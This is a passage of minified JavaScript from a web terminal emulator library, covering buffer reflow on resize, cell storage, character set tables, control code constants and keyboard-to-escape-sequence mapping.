o.BufferLine(e,i)):this.ybase>0&&this.lines.length<=this.ybase+this.y+n+1?(this.ybase--,n++,this.ydisp>0&&this.ydisp--):this.lines.push(new o.BufferLine(e,i)));else for(let e=this._rows;e>t;e--)this.lines.length>t+this.ybase&&(this.lines.length>this.ybase+this.y+1?this.lines.pop():(this.ybase++,this.ydisp++));if(r<this.lines.maxLength){const e=this.lines.length-r;e>0&&(this.lines.trimStart(e),this.ybase=Math.max(this.ybase-e,0),this.ydisp=Math.max(this.ydisp-e,0),this.savedY=Math.max(this.savedY-e,0)),this.lines.maxLength=r}this.x=Math.min(this.x,e-1),this.y=Math.min(this.y,t-1),n&&(this.y+=n),this.savedX=Math.min(this.savedX,e-1),this.scrollTop=0}if(this.scrollBottom=t-1,this._isReflowEnabled&&(this._reflow(e,t),this._cols>e))for(let t=0;t<this.lines.length;t++)s+=+this.lines.get(t).resize(e,i);this._cols=e,this._rows=t,this._memoryCleanupQueue.clear(),s>.1*this.lines.length&&(this._memoryCleanupPosition=0,this._memoryCleanupQueue.enqueue((()=>this._batchedMemoryCleanup())))}_batchedMemoryCleanup(){let e=!0;this._memoryCleanupPosition>=this.lines.length&&(this._memoryCleanupPosition=0,e=!1);let t=0;for(;this._memoryCleanupPosition<this.lines.length;)if(t+=this.lines.get(this._memoryCleanupPosition++).cleanupMemory(),t>100)return!0;return e}get _isReflowEnabled(){const e=this._optionsService.rawOptions.windowsPty;return e&&e.buildNumber?this._hasScrollback&&"conpty"===e.backend&&e.buildNumber>=21376:this._hasScrollback&&!this._optionsService.rawOptions.windowsMode}_reflow(e,t){this._cols!==e&&(e>this._cols?this._reflowLarger(e,t):this._reflowSmaller(e,t))}_reflowLarger(e,t){const i=(0,a.reflowLargerGetLinesToRemove)(this.lines,this._cols,e,this.ybase+this.y,this.getNullCell(o.DEFAULT_ATTR_DATA));if(i.length>0){const s=(0,a.reflowLargerCreateNewLayout)(this.lines,i);(0,a.reflowLargerApplyNewLayout)(this.lines,s.layout),this._reflowLargerAdjustViewport(e,t,s.countRemoved)}}_reflowLargerAdjustViewport(e,t,i){const s=this.getNullCell(o.DEFAULT_ATTR_DATA);let r=i;for(;r-- >0;)0===this.ybase?(this.y>0&&this.y--,this.lines.length<t&&this.lines.push(new o.BufferLine(e,s))):(this.ydisp===this.ybase&&this.ydisp--,this.ybase--);this.savedY=Math.max(this.savedY-i,0)}_reflowSmaller(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA),s=[];let r=0;for(let n=this.lines.length-1;n>=0;n--){let h=this.lines.get(n);if(!h||!h.isWrapped&&h.getTrimmedLength()<=e)continue;const c=[h];for(;h.isWrapped&&n>0;)h=this.lines.get(--n),c.unshift(h);const l=this.ybase+this.y;if(l>=n&&l<n+c.length)continue;const d=c[c.length-1].getTrimmedLength(),u=(0,a.reflowSmallerGetNewLineLengths)(c,this._cols,e),_=u.length-c.length;let f;f=0===this.ybase&&this.y!==this.lines.length-1?Math.max(0,this.y-this.lines.maxLength+_):Math.max(0,this.lines.length-this.lines.maxLength+_);const v=[];for(let e=0;e<_;e++){const e=this.getBlankLine(o.DEFAULT_ATTR_DATA,!0);v.push(e)}v.length>0&&(s.push({start:n+c.length+r,newLines:v}),r+=v.length),c.push(...v);let p=u.length-1,g=u[p];0===g&&(p--,g=u[p]);let m=c.length-_-1,S=d;for(;m>=0;){const e=Math.min(S,g);if(void 0===c[p])break;if(c[p].copyCellsFrom(c[m],S-e,g-e,e,!0),g-=e,0===g&&(p--,g=u[p]),S-=e,0===S){m--;const e=Math.max(m,0);S=(0,a.getWrappedLineTrimmedLength)(c,e,this._cols)}}for(let t=0;t<c.length;t++)u[t]<e&&c[t].setCell(u[t],i);let b=_-f;for(;b-- >0;)0===this.ybase?this.y<t-1?(this.y++,this.lines.pop()):(this.ybase++,this.ydisp++):this.ybase<Math.min(this.lines.maxLength,this.lines.length+r)-t&&(this.ybase===this.ydisp&&this.ydisp++,this.ybase++);this.savedY=Math.min(this.savedY+_,this.ybase+t-1)}if(s.length>0){const e=[],t=[];for(let e=0;e<this.lines.length;e++)t.push(this.lines.get(e));const i=this.lines.length;let n=i-1,o=0,a=s[o];this.lines.length=Math.min(this.lines.maxLength,this.lines.length+r);let h=0;for(let c=Math.min(this.lines.maxLength-1,i+r-1);c>=0;c--)if(a&&a.start>n+h){for(let e=a.newLines.length-1;e>=0;e--)this.lines.set(c--,a.newLines[e]);c++,e.push({index:n+1,amount:a.newLines.length}),h+=a.newLines.length,a=s[++o]}else this.lines.set(c,t[n--]);let c=0;for(let t=e.length-1;t>=0;t--)e[t].index+=c,this.lines.onInsertEmitter.fire(e[t]),c+=e[t].amount;const l=Math.max(0,i+r-this.lines.maxLength);l>0&&this.lines.onTrimEmitter.fire(l)}}translateBufferLineToString(e,t,i=0,s){const r=this.lines.get(e);return r?r.translateToString(t,i,s):""}getWrappedRangeForLine(e){let t=e,i=e;for(;t>0&&this.lines.get(t).isWrapped;)t--;for(;i+1<this.lines.length&&this.lines.get(i+1).isWrapped;)i++;return{first:t,last:i}}setupTabStops(e){for(null!=e?this.tabs[e]||(e=this.prevStop(e)):(this.tabs={},e=0);e<this._cols;e+=this._optionsService.rawOptions.tabStopWidth)this.tabs[e]=!0}prevStop(e){for(null==e&&(e=this.x);!this.tabs[--e]&&e>0;);return e>=this._cols?this._cols-1:e<0?0:e}nextStop(e){for(null==e&&(e=this.x);!this.tabs[++e]&&e<this._cols;);return e>=this._cols?this._cols-1:e<0?0:e}clearMarkers(e){this._isClearing=!0;for(let t=0;t<this.markers.length;t++)this.markers[t].line===e&&(this.markers[t].dispose(),this.markers.splice(t--,1));this._isClearing=!1}clearAllMarkers(){this._isClearing=!0;for(let e=0;e<this.markers.length;e++)this.markers[e].dispose(),this.markers.splice(e--,1);this._isClearing=!1}addMarker(e){const t=new l.Marker(e);return this.markers.push(t),t.register(this.lines.onTrim((e=>{t.line-=e,t.line<0&&t.dispose()}))),t.register(this.lines.onInsert((e=>{t.line>=e.index&&(t.line+=e.amount)}))),t.register(this.lines.onDelete((e=>{t.line>=e.index&&t.line<e.index+e.amount&&t.dispose(),t.line>e.index&&(t.line-=e.amount)}))),t.register(t.onDispose((()=>this._removeMarker(t)))),t}_removeMarker(e){this._isClearing||this.markers.splice(this.markers.indexOf(e),1)}}},8437:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLine=t.DEFAULT_ATTR_DATA=void 0;const s=i(3734),r=i(511),n=i(643),o=i(482);t.DEFAULT_ATTR_DATA=Object.freeze(new s.AttributeData);let a=0;class h{constructor(e,t,i=!1){this.isWrapped=i,this._combined={},this._extendedAttrs={},this._data=new Uint32Array(3*e);const s=t||r.CellData.fromCharData([0,n.NULL_CELL_CHAR,n.NULL_CELL_WIDTH,n.NULL_CELL_CODE]);for(let t=0;t<e;++t)this.setCell(t,s);this.length=e}get(e){const t=this._data[3*e+0],i=2097151&t;return[this._data[3*e+1],2097152&t?this._combined[e]:i?(0,o.stringFromCodePoint)(i):"",t>>22,2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):i]}set(e,t){this._data[3*e+1]=t[n.CHAR_DATA_ATTR_INDEX],t[n.CHAR_DATA_CHAR_INDEX].length>1?(this._combined[e]=t[1],this._data[3*e+0]=2097152|e|t[n.CHAR_DATA_WIDTH_INDEX]<<22):this._data[3*e+0]=t[n.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|t[n.CHAR_DATA_WIDTH_INDEX]<<22}getWidth(e){return this._data[3*e+0]>>22}hasWidth(e){return 12582912&this._data[3*e+0]}getFg(e){return this._data[3*e+1]}getBg(e){return this._data[3*e+2]}hasContent(e){return 4194303&this._data[3*e+0]}getCodePoint(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):2097151&t}isCombined(e){return 2097152&this._data[3*e+0]}getString(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e]:2097151&t?(0,o.stringFromCodePoint)(2097151&t):""}isProtected(e){return 536870912&this._data[3*e+2]}loadCell(e,t){return a=3*e,t.content=this._data[a+0],t.fg=this._data[a+1],t.bg=this._data[a+2],2097152&t.content&&(t.combinedData=this._combined[e]),268435456&t.bg&&(t.extended=this._extendedAttrs[e]),t}setCell(e,t){2097152&t.content&&(this._combined[e]=t.combinedData),268435456&t.bg&&(this._extendedAttrs[e]=t.extended),this._data[3*e+0]=t.content,this._data[3*e+1]=t.fg,this._data[3*e+2]=t.bg}setCellFromCodePoint(e,t,i,s,r,n){268435456&r&&(this._extendedAttrs[e]=n),this._data[3*e+0]=t|i<<22,this._data[3*e+1]=s,this._data[3*e+2]=r}addCodepointToCell(e,t){let i=this._data[3*e+0];2097152&i?this._combined[e]+=(0,o.stringFromCodePoint)(t):(2097151&i?(this._combined[e]=(0,o.stringFromCodePoint)(2097151&i)+(0,o.stringFromCodePoint)(t),i&=-2097152,i|=2097152):i=t|1<<22,this._data[3*e+0]=i)}insertCells(e,t,i,n){if((e%=this.length)&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),t<this.length-e){const s=new r.CellData;for(let i=this.length-e-t-1;i>=0;--i)this.setCell(e+t+i,this.loadCell(e+i,s));for(let s=0;s<t;++s)this.setCell(e+s,i)}else for(let t=e;t<this.length;++t)this.setCell(t,i);2===this.getWidth(this.length-1)&&this.setCellFromCodePoint(this.length-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs)}deleteCells(e,t,i,n){if(e%=this.length,t<this.length-e){const s=new r.CellData;for(let i=0;i<this.length-e-t;++i)this.setCell(e+i,this.loadCell(e+t+i,s));for(let e=this.length-t;e<this.length;++e)this.setCell(e,i)}else for(let t=e;t<this.length;++t)this.setCell(t,i);e&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),0!==this.getWidth(e)||this.hasContent(e)||this.setCellFromCodePoint(e,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs)}replaceCells(e,t,i,r,n=!1){if(n)for(e&&2===this.getWidth(e-1)&&!this.isProtected(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs),t<this.length&&2===this.getWidth(t-1)&&!this.isProtected(t)&&this.setCellFromCodePoint(t,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs);e<t&&e<this.length;)this.isProtected(e)||this.setCell(e,i),e++;else for(e&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs),t<this.length&&2===this.getWidth(t-1)&&this.setCellFromCodePoint(t,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs);e<t&&e<this.length;)this.setCell(e++,i)}resize(e,t){if(e===this.length)return 4*this._data.length*2<this._data.buffer.byteLength;const i=3*e;if(e>this.length){if(this._data.buffer.byteLength>=4*i)this._data=new Uint32Array(this._data.buffer,0,i);else{const e=new Uint32Array(i);e.set(this._data),this._data=e}for(let i=this.length;i<e;++i)this.setCell(i,t)}else{this._data=this._data.subarray(0,i);const t=Object.keys(this._combined);for(let i=0;i<t.length;i++){const s=parseInt(t[i],10);s>=e&&delete this._combined[s]}const s=Object.keys(this._extendedAttrs);for(let t=0;t<s.length;t++){const i=parseInt(s[t],10);i>=e&&delete this._extendedAttrs[i]}}return this.length=e,4*i*2<this._data.buffer.byteLength}cleanupMemory(){if(4*this._data.length*2<this._data.buffer.byteLength){const e=new Uint32Array(this._data.length);return e.set(this._data),this._data=e,1}return 0}fill(e,t=!1){if(t)for(let t=0;t<this.length;++t)this.isProtected(t)||this.setCell(t,e);else{this._combined={},this._extendedAttrs={};for(let t=0;t<this.length;++t)this.setCell(t,e)}}copyFrom(e){this.length!==e.length?this._data=new Uint32Array(e._data):this._data.set(e._data),this.length=e.length,this._combined={};for(const t in e._combined)this._combined[t]=e._combined[t];this._extendedAttrs={};for(const t in e._extendedAttrs)this._extendedAttrs[t]=e._extendedAttrs[t];this.isWrapped=e.isWrapped}clone(){const e=new h(0);e._data=new Uint32Array(this._data),e.length=this.length;for(const t in this._combined)e._combined[t]=this._combined[t];for(const t in this._extendedAttrs)e._extendedAttrs[t]=this._extendedAttrs[t];return e.isWrapped=this.isWrapped,e}getTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0])return e+(this._data[3*e+0]>>22);return 0}getNoBgTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0]||50331648&this._data[3*e+2])return e+(this._data[3*e+0]>>22);return 0}copyCellsFrom(e,t,i,s,r){const n=e._data;if(r)for(let r=s-1;r>=0;r--){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}else for(let r=0;r<s;r++){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}const o=Object.keys(e._combined);for(let s=0;s<o.length;s++){const r=parseInt(o[s],10);r>=t&&(this._combined[r-t+i]=e._combined[r])}}translateToString(e=!1,t=0,i=this.length){e&&(i=Math.min(i,this.getTrimmedLength()));let s="";for(;t<i;){const e=this._data[3*t+0],i=2097151&e;s+=2097152&e?this._combined[t]:i?(0,o.stringFromCodePoint)(i):n.WHITESPACE_CELL_CHAR,t+=e>>22||1}return s}}t.BufferLine=h},4841:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRangeLength=void 0,t.getRangeLength=function(e,t){if(e.start.y>e.end.y)throw new Error(`Buffer range end (${e.end.x}, ${e.end.y}) cannot be before start (${e.start.x}, ${e.start.y})`);return t*(e.end.y-e.start.y)+(e.end.x-e.start.x+1)}},4634:(e,t)=>{function i(e,t,i){if(t===e.length-1)return e[t].getTrimmedLength();const s=!e[t].hasContent(i-1)&&1===e[t].getWidth(i-1),r=2===e[t+1].getWidth(0);return s&&r?i-1:i}Object.defineProperty(t,"__esModule",{value:!0}),t.getWrappedLineTrimmedLength=t.reflowSmallerGetNewLineLengths=t.reflowLargerApplyNewLayout=t.reflowLargerCreateNewLayout=t.reflowLargerGetLinesToRemove=void 0,t.reflowLargerGetLinesToRemove=function(e,t,s,r,n){const o=[];for(let a=0;a<e.length-1;a++){let h=a,c=e.get(++h);if(!c.isWrapped)continue;const l=[e.get(a)];for(;h<e.length&&c.isWrapped;)l.push(c),c=e.get(++h);if(r>=a&&r<h){a+=l.length-1;continue}let d=0,u=i(l,d,t),_=1,f=0;for(;_<l.length;){const e=i(l,_,t),r=e-f,o=s-u,a=Math.min(r,o);l[d].copyCellsFrom(l[_],f,u,a,!1),u+=a,u===s&&(d++,u=0),f+=a,f===e&&(_++,f=0),0===u&&0!==d&&2===l[d-1].getWidth(s-1)&&(l[d].copyCellsFrom(l[d-1],s-1,u++,1,!1),l[d-1].setCell(s-1,n))}l[d].replaceCells(u,s,n);let v=0;for(let e=l.length-1;e>0&&(e>d||0===l[e].getTrimmedLength());e--)v++;v>0&&(o.push(a+l.length-v),o.push(v)),a+=l.length-1}return o},t.reflowLargerCreateNewLayout=function(e,t){const i=[];let s=0,r=t[s],n=0;for(let o=0;o<e.length;o++)if(r===o){const i=t[++s];e.onDeleteEmitter.fire({index:o-n,amount:i}),o+=i-1,n+=i,r=t[++s]}else i.push(o);return{layout:i,countRemoved:n}},t.reflowLargerApplyNewLayout=function(e,t){const i=[];for(let s=0;s<t.length;s++)i.push(e.get(t[s]));for(let t=0;t<i.length;t++)e.set(t,i[t]);e.length=t.length},t.reflowSmallerGetNewLineLengths=function(e,t,s){const r=[],n=e.map(((s,r)=>i(e,r,t))).reduce(((e,t)=>e+t));let o=0,a=0,h=0;for(;h<n;){if(n-h<s){r.push(n-h);break}o+=s;const c=i(e,a,t);o>c&&(o-=c,a++);const l=2===e[a].getWidth(o-1);l&&o--;const d=l?s-1:s;r.push(d),h+=d}return r},t.getWrappedLineTrimmedLength=i},5295:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferSet=void 0;const s=i(8460),r=i(844),n=i(9092);class o extends r.Disposable{constructor(e,t){super(),this._optionsService=e,this._bufferService=t,this._onBufferActivate=this.register(new s.EventEmitter),this.onBufferActivate=this._onBufferActivate.event,this.reset(),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.resize(this._bufferService.cols,this._bufferService.rows)))),this.register(this._optionsService.onSpecificOptionChange("tabStopWidth",(()=>this.setupTabStops())))}reset(){this._normal=new n.Buffer(!0,this._optionsService,this._bufferService),this._normal.fillViewportRows(),this._alt=new n.Buffer(!1,this._optionsService,this._bufferService),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}),this.setupTabStops()}get alt(){return this._alt}get active(){return this._activeBuffer}get normal(){return this._normal}activateNormalBuffer(){this._activeBuffer!==this._normal&&(this._normal.x=this._alt.x,this._normal.y=this._alt.y,this._alt.clearAllMarkers(),this._alt.clear(),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}))}activateAltBuffer(e){this._activeBuffer!==this._alt&&(this._alt.fillViewportRows(e),this._alt.x=this._normal.x,this._alt.y=this._normal.y,this._activeBuffer=this._alt,this._onBufferActivate.fire({activeBuffer:this._alt,inactiveBuffer:this._normal}))}resize(e,t){this._normal.resize(e,t),this._alt.resize(e,t),this.setupTabStops(e)}setupTabStops(e){this._normal.setupTabStops(e),this._alt.setupTabStops(e)}}t.BufferSet=o},511:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CellData=void 0;const s=i(482),r=i(643),n=i(3734);class o extends n.AttributeData{constructor(){super(...arguments),this.content=0,this.fg=0,this.bg=0,this.extended=new n.ExtendedAttrs,this.combinedData=""}static fromCharData(e){const t=new o;return t.setFromCharData(e),t}isCombined(){return 2097152&this.content}getWidth(){return this.content>>22}getChars(){return 2097152&this.content?this.combinedData:2097151&this.content?(0,s.stringFromCodePoint)(2097151&this.content):""}getCode(){return this.isCombined()?this.combinedData.charCodeAt(this.combinedData.length-1):2097151&this.content}setFromCharData(e){this.fg=e[r.CHAR_DATA_ATTR_INDEX],this.bg=0;let t=!1;if(e[r.CHAR_DATA_CHAR_INDEX].length>2)t=!0;else if(2===e[r.CHAR_DATA_CHAR_INDEX].length){const i=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0);if(55296<=i&&i<=56319){const s=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(1);56320<=s&&s<=57343?this.content=1024*(i-55296)+s-56320+65536|e[r.CHAR_DATA_WIDTH_INDEX]<<22:t=!0}else t=!0}else this.content=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|e[r.CHAR_DATA_WIDTH_INDEX]<<22;t&&(this.combinedData=e[r.CHAR_DATA_CHAR_INDEX],this.content=2097152|e[r.CHAR_DATA_WIDTH_INDEX]<<22)}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.CellData=o},643:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WHITESPACE_CELL_CODE=t.WHITESPACE_CELL_WIDTH=t.WHITESPACE_CELL_CHAR=t.NULL_CELL_CODE=t.NULL_CELL_WIDTH=t.NULL_CELL_CHAR=t.CHAR_DATA_CODE_INDEX=t.CHAR_DATA_WIDTH_INDEX=t.CHAR_DATA_CHAR_INDEX=t.CHAR_DATA_ATTR_INDEX=t.DEFAULT_EXT=t.DEFAULT_ATTR=t.DEFAULT_COLOR=void 0,t.DEFAULT_COLOR=0,t.DEFAULT_ATTR=256|t.DEFAULT_COLOR<<9,t.DEFAULT_EXT=0,t.CHAR_DATA_ATTR_INDEX=0,t.CHAR_DATA_CHAR_INDEX=1,t.CHAR_DATA_WIDTH_INDEX=2,t.CHAR_DATA_CODE_INDEX=3,t.NULL_CELL_CHAR="",t.NULL_CELL_WIDTH=1,t.NULL_CELL_CODE=0,t.WHITESPACE_CELL_CHAR=" ",t.WHITESPACE_CELL_WIDTH=1,t.WHITESPACE_CELL_CODE=32},4863:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Marker=void 0;const s=i(8460),r=i(844);class n{get id(){return this._id}constructor(e){this.line=e,this.isDisposed=!1,this._disposables=[],this._id=n._nextId++,this._onDispose=this.register(new s.EventEmitter),this.onDispose=this._onDispose.event}dispose(){this.isDisposed||(this.isDisposed=!0,this.line=-1,this._onDispose.fire(),(0,r.disposeArray)(this._disposables),this._disposables.length=0)}register(e){return this._disposables.push(e),e}}t.Marker=n,n._nextId=1},7116:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DEFAULT_CHARSET=t.CHARSETS=void 0,t.CHARSETS={},t.DEFAULT_CHARSET=t.CHARSETS.B,t.CHARSETS[0]={"`":"◆",a:"▒",b:"␉",c:"␌",d:"␍",e:"␊",f:"°",g:"±",h:"␤",i:"␋",j:"┘",k:"┐",l:"┌",m:"└",n:"┼",o:"⎺",p:"⎻",q:"─",r:"⎼",s:"⎽",t:"├",u:"┤",v:"┴",w:"┬",x:"│",y:"≤",z:"≥","{":"π","|":"≠","}":"£","~":"·"},t.CHARSETS.A={"#":"£"},t.CHARSETS.B=void 0,t.CHARSETS[4]={"#":"£","@":"¾","[":"ij","\\":"½","]":"|","{":"¨","|":"f","}":"¼","~":"´"},t.CHARSETS.C=t.CHARSETS[5]={"[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},t.CHARSETS.R={"#":"£","@":"à","[":"°","\\":"ç","]":"§","{":"é","|":"ù","}":"è","~":"¨"},t.CHARSETS.Q={"@":"à","[":"â","\\":"ç","]":"ê","^":"î","`":"ô","{":"é","|":"ù","}":"è","~":"û"},t.CHARSETS.K={"@":"§","[":"Ä","\\":"Ö","]":"Ü","{":"ä","|":"ö","}":"ü","~":"ß"},t.CHARSETS.Y={"#":"£","@":"§","[":"°","\\":"ç","]":"é","`":"ù","{":"à","|":"ò","}":"è","~":"ì"},t.CHARSETS.E=t.CHARSETS[6]={"@":"Ä","[":"Æ","\\":"Ø","]":"Å","^":"Ü","`":"ä","{":"æ","|":"ø","}":"å","~":"ü"},t.CHARSETS.Z={"#":"£","@":"§","[":"¡","\\":"Ñ","]":"¿","{":"°","|":"ñ","}":"ç"},t.CHARSETS.H=t.CHARSETS[7]={"@":"É","[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},t.CHARSETS["="]={"#":"ù","@":"à","[":"é","\\":"ç","]":"ê","^":"î",_:"è","`":"ô","{":"ä","|":"ö","}":"ü","~":"û"}},2584:(e,t)=>{var i,s,r;Object.defineProperty(t,"__esModule",{value:!0}),t.C1_ESCAPED=t.C1=t.C0=void 0,function(e){e.NUL="\0",e.SOH="",e.STX="",e.ETX="",e.EOT="",e.ENQ="",e.ACK="",e.BEL="",e.BS="\b",e.HT="\t",e.LF="\n",e.VT="\v",e.FF="\f",e.CR="\r",e.SO="",e.SI="",e.DLE="",e.DC1="",e.DC2="",e.DC3="",e.DC4="",e.NAK="",e.SYN="",e.ETB="",e.CAN="",e.EM="",e.SUB="",e.ESC="",e.FS="",e.GS="",e.RS="",e.US="",e.SP=" ",e.DEL=""}(i||(t.C0=i={})),function(e){e.PAD="€",e.HOP="",e.BPH="‚",e.NBH="ƒ",e.IND="„",e.NEL="…",e.SSA="†",e.ESA="‡",e.HTS="ˆ",e.HTJ="‰",e.VTS="Š",e.PLD="‹",e.PLU="Œ",e.RI="",e.SS2="Ž",e.SS3="",e.DCS="",e.PU1="‘",e.PU2="’",e.STS="“",e.CCH="”",e.MW="•",e.SPA="–",e.EPA="—",e.SOS="˜",e.SGCI="™",e.SCI="š",e.CSI="›",e.ST="œ",e.OSC="",e.PM="ž",e.APC="Ÿ"}(s||(t.C1=s={})),function(e){e.ST=`${i.ESC}\\`}(r||(t.C1_ESCAPED=r={}))},7399:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.evaluateKeyboardEvent=void 0;const s=i(2584),r={48:["0",")"],49:["1","!"],50:["2","@"],51:["3","#"],52:["4","$"],53:["5","%"],54:["6","^"],55:["7","&"],56:["8","*"],57:["9","("],186:[";",":"],187:["=","+"],188:[",","<"],189:["-","_"],190:[".",">"],191:["/","?"],192:["`","~"],219:["[","{"],220:["\\","|"],221:["]","}"],222:["'",'"']};t.evaluateKeyboardEvent=function(e,t,i,n){const o={type:0,cancel:!1,key:void 0},a=(e.shiftKey?1:0)|(e.altKey?2:0)|(e.ctrlKey?4:0)|(e.metaKey?8:0);switch(e.keyCode){case 0:"UIKeyInputUpArrow"===e.key?o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A":"UIKeyInputLeftArrow"===e.key?o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D":"UIKeyInputRightArrow"===e.key?o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C":"UIKeyInputDownArrow"===e.key&&(o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B");break;case 8:if(e.altKey){o.key=s.C0.ESC+s.C0.DEL;break}o.key=s.C0.DEL;break;case 9:if(e.shiftKey){o.key=s.C0.ESC+"[Z";break}o.key=s.C0.HT,o.cancel=!0;break;case 13:o.key=e.altKey?s.C0.ESC+s.C0.CR:s.C0.CR,o.cancel=!0;break;case 27:o.key=s.C0.ESC,e.altKey&&(o.key=s.C0.ESC+s.C0.ESC),o.cancel=!0;break;case 37:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"D",o.key===s.C0.ESC+"[1;3D"&&(o.key=s.C0.ESC+(i?"b":"[1;5D"))):o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D";break;case 39:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"C",o.key===s.C0.ESC+"[1;3C"&&(o.key=s.C0.ESC+(i?"f":"[1;5C"))):o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C";break;case 38:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"A",i||o.key!==s.C0.ESC+"[1;3A"||(o.key=s.C0.ESC+"[1;5A")):o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A";break;case 40:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"B",i||o.key!==s.C0.ESC+"[1;3B"||(o.key=s.C0.ESC+"[1;5B")):o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B";break;case 45:e.shiftKey||e.ctrlKey||(o.key=s.C0.ESC+"[2~");break;case 46:o.key=a?s.C0.ESC+"[3;"+(a+1)+"~":s.C0.ESC+"[3~";break;case 36:o.key=a?s.C0.ESC+"[1;"+(a+1)+"H":t?s.C0.ESC+"OH":s.C0.ESC+"[H";break;case 35:o.key=a?s.C0.ESC+"[1;"+(a+1)+"F":t?s.C0.ESC+"OF":s.C0.ESC+"[F";break;case 33:e.shiftKey?o.type=2:e.ctrlKey?o.key=s.C0.ESC+"[5;"+(a+1)+"~":o.key=s.C0.ESC+"[5~";break;case 34:e.shiftKey?o.type=3:e.ctrlKey?o.key=s.C0.ESC+"[6;"+(a+1)+"~":o.key=s.C0.ESC+"[6~";break;case 112:o.key=a?s.C0.ESC+"[1;"+(a+1)+"P":s.C0.ESC+"OP";break;case 113:o.key=a?s.C0.ESC+"[1;"+(a+1)+"Q":s.C0.ESC+"OQ";break;case 114:o.key=a?s.C0.ESC+"[1;"+(a+1)+"R":s.C0.ESC+"OR";break;case 115:o.key=a?s.C0.ESC+"[1;"+(a+1)+"S":s.C0.ESC+"OS";break;case 116:o.key=a?s.C0.ESC+"[15;"+(a+1)+"~":s.C0.ESC+"[15~";break;case 117:o.key=a?s.C0.ESC+"[17;"+(a+1)+"~":s.C0.ESC+"[17~";break;case 118:o.key=a?s.C0.ESC+"[18;"+(a+1)+"~":s.C0.ESC+"[18~";break;case 119:o.key=a?s.C0.ESC+"[19;"+(a+1)+"~":s.C0.ESC+"[19~";break;case 120:o.key=a?s.C0.ESC+"[20;"+(a+1)+"~":s.C0.ESC+"[20~";break;case 121:o.key=a?s.C0.ESC+"[21;"+(a+1)+"~":s.C0.ESC+"[21~";break;case 122:o.key=a?s.C0.ESC+"[23;"+(a+1)+"~":s.C0.ESC+"[23~";break;case 123:o.key=a?s.C0.ESC+"[24;"+(a+1)+"~":s.C0.ESC+"[24~";break;default:if(!e.ctrlKey||e.shiftKey||e.altKey||e.metaKey)if(i&&!n||!e.altKey||e.metaKey)!i||e.altKey||e.ctrlKey||e.shiftKey||!e.metaKey?e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&e.keyCode>=48&&1===e.key.length?o.key=e.key:e.key&&e.ctrlKey&&("_"===e.key&&(o.key=s.C0.US),"@"===e.key&&(o.key=s.C0.NUL)):65===e.keyCode&&(o.type=1);else{const t=r[e.keyCode],i=null==t?void 